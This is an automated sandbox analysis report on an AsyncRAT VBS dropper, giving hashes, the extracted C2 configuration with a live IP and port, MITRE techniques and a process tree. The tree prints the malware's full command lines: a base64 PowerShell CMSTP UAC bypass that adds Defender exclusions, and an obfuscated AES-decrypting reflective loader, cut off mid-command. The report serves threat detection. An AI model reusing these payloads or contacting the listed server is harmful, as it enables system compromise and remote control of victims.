asyncrat | 8a6d1b4d05f11143fbc05f00fe1863ce1005bf80953b012d2bdc1c40dd0468b8

Analysis

max time kernel
137s
max time network
145s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
28-12-2024 00:04

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General

Target

4551_output.vbs
Size

204KB
MD5

3fbd3b678d861076338cc2839f315f8a
SHA1

06738e398143f4f15ba633d9fbf0bf84df14c81e
SHA256

cf9d43a42cb972311c8f75bccd9248d356879f205dbb037f1100c1777c4a2965
SHA512

1b097663be0fade854d1756b8db848d0009f15964951ec94f5b61c7255e7cf247dfd94fca63a4da039fd8f73c5f1816016a0cd220c0b1d49e026279ef2068cf8
SSDEEP

1536:abfH0Kj03LRy+CTb2PxmivrdVdKuTtwbDGgwVZYT/4HHO+D1FMbK:a7H0Kj0c+CoXvhvT+bzwTYUHH9D12bK

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:55644

Mutex

E0GLVPl3iUqi

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3380-127-0x0000000005B50000-0x0000000005B62000-memory.dmp	family_asyncrat

Blocklisted process makes network request 3 IoCs

flow	pid	Process
34	3380	powershell.exe
38	3380	powershell.exe
39	3380	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1792	powershell.exe
4312	powershell.exe
4796	powershell.exe
420	powershell.exe
3380	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1006597246-3150276181-3318461161-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1006597246-3150276181-3318461161-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
1536	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1006597246-3150276181-3318461161-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1792	powershell.exe
1792	powershell.exe
4312	powershell.exe
4312	powershell.exe
4796	powershell.exe
4796	powershell.exe
420	powershell.exe
420	powershell.exe
3380	powershell.exe
3380	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1792	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeIncreaseQuotaPrivilege	4312	powershell.exe
Token: SeSecurityPrivilege	4312	powershell.exe
Token: SeTakeOwnershipPrivilege	4312	powershell.exe
Token: SeLoadDriverPrivilege	4312	powershell.exe
Token: SeSystemProfilePrivilege	4312	powershell.exe
Token: SeSystemtimePrivilege	4312	powershell.exe
Token: SeProfSingleProcessPrivilege	4312	powershell.exe
Token: SeIncBasePriorityPrivilege	4312	powershell.exe
Token: SeCreatePagefilePrivilege	4312	powershell.exe
Token: SeBackupPrivilege	4312	powershell.exe
Token: SeRestorePrivilege	4312	powershell.exe
Token: SeShutdownPrivilege	4312	powershell.exe
Token: SeDebugPrivilege	4312	powershell.exe
Token: SeSystemEnvironmentPrivilege	4312	powershell.exe
Token: SeRemoteShutdownPrivilege	4312	powershell.exe
Token: SeUndockPrivilege	4312	powershell.exe
Token: SeManageVolumePrivilege	4312	powershell.exe
Token: 33	4312	powershell.exe
Token: 34	4312	powershell.exe
Token: 35	4312	powershell.exe
Token: 36	4312	powershell.exe
Token: SeDebugPrivilege	1536	taskkill.exe
Token: SeDebugPrivilege	4796	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe
Token: SeIncreaseQuotaPrivilege	420	powershell.exe
Token: SeSecurityPrivilege	420	powershell.exe
Token: SeTakeOwnershipPrivilege	420	powershell.exe
Token: SeLoadDriverPrivilege	420	powershell.exe
Token: SeSystemProfilePrivilege	420	powershell.exe
Token: SeSystemtimePrivilege	420	powershell.exe
Token: SeProfSingleProcessPrivilege	420	powershell.exe
Token: SeIncBasePriorityPrivilege	420	powershell.exe
Token: SeCreatePagefilePrivilege	420	powershell.exe
Token: SeBackupPrivilege	420	powershell.exe
Token: SeRestorePrivilege	420	powershell.exe
Token: SeShutdownPrivilege	420	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe
Token: SeSystemEnvironmentPrivilege	420	powershell.exe
Token: SeRemoteShutdownPrivilege	420	powershell.exe
Token: SeUndockPrivilege	420	powershell.exe
Token: SeManageVolumePrivilege	420	powershell.exe
Token: 33	420	powershell.exe
Token: 34	420	powershell.exe
Token: 35	420	powershell.exe
Token: 36	420	powershell.exe
Token: SeIncreaseQuotaPrivilege	420	powershell.exe
Token: SeSecurityPrivilege	420	powershell.exe
Token: SeTakeOwnershipPrivilege	420	powershell.exe
Token: SeLoadDriverPrivilege	420	powershell.exe
Token: SeSystemProfilePrivilege	420	powershell.exe
Token: SeSystemtimePrivilege	420	powershell.exe
Token: SeProfSingleProcessPrivilege	420	powershell.exe
Token: SeIncBasePriorityPrivilege	420	powershell.exe
Token: SeCreatePagefilePrivilege	420	powershell.exe
Token: SeBackupPrivilege	420	powershell.exe
Token: SeRestorePrivilege	420	powershell.exe
Token: SeShutdownPrivilege	420	powershell.exe
Token: SeDebugPrivilege	420	powershell.exe
Token: SeSystemEnvironmentPrivilege	420	powershell.exe
Token: SeRemoteShutdownPrivilege	420	powershell.exe
Token: SeUndockPrivilege	420	powershell.exe
Token: SeManageVolumePrivilege	420	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 3232 wrote to memory of 1792	3232	WScript.exe	82
PID 3232 wrote to memory of 1792	3232	WScript.exe	82
PID 1792 wrote to memory of 1012	1792	powershell.exe	86
PID 1792 wrote to memory of 1012	1792	powershell.exe	86
PID 1012 wrote to memory of 4020	1012	csc.exe	87
PID 1012 wrote to memory of 4020	1012	csc.exe	87
PID 1792 wrote to memory of 3364	1792	powershell.exe	88
PID 1792 wrote to memory of 3364	1792	powershell.exe	88
PID 3232 wrote to memory of 1136	3232	WScript.exe	102
PID 3232 wrote to memory of 1136	3232	WScript.exe	102
PID 1136 wrote to memory of 4796	1136	cmd.exe	104
PID 1136 wrote to memory of 4796	1136	cmd.exe	104
PID 1136 wrote to memory of 4796	1136	cmd.exe	104
PID 4796 wrote to memory of 420	4796	powershell.exe	105
PID 4796 wrote to memory of 420	4796	powershell.exe	105
PID 4796 wrote to memory of 420	4796	powershell.exe	105
PID 4796 wrote to memory of 3140	4796	powershell.exe	108
PID 4796 wrote to memory of 3140	4796	powershell.exe	108
PID 4796 wrote to memory of 3140	4796	powershell.exe	108
PID 3140 wrote to memory of 2920	3140	WScript.exe	109
PID 3140 wrote to memory of 2920	3140	WScript.exe	109
PID 3140 wrote to memory of 2920	3140	WScript.exe	109
PID 2920 wrote to memory of 3380	2920	cmd.exe	111
PID 2920 wrote to memory of 3380	2920	cmd.exe	111
PID 2920 wrote to memory of 3380	2920	cmd.exe	111

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4551_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3232
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1792
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\e4ggo312\e4ggo312.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1012
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB66F.tmp" "c:\Users\Admin\AppData\Local\Temp\e4ggo312\CSCBA1A3B8EDF0345D1BDB3D938A1B0E2.TMP"
      4⤵
      PID:4020
- - C:\windows\system32\cmstp.exe
    "C:\windows\system32\cmstp.exe" /au C:\windows\temp\g5w1j20r.inf
    3⤵
    PID:3364
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1136
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('nHaefzmvtehSVpLEyolX6xEJfPj0wn4F9+punbDDYDg='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zwjn5LkK1iyAQ/iAqhMTrA=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$ZpniW=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$WKdvk=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$KZtgy=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($ZpniW, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $KZtgy.CopyTo($WKdvk); $KZtgy.Dispose(); $ZpniW.Dispose(); $WKdvk.Dispose(); $WKdvk.ToArray();}function execute_function($param_var,$param2_var){ IEX '$uWKdBpGmyYeSmLt=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX 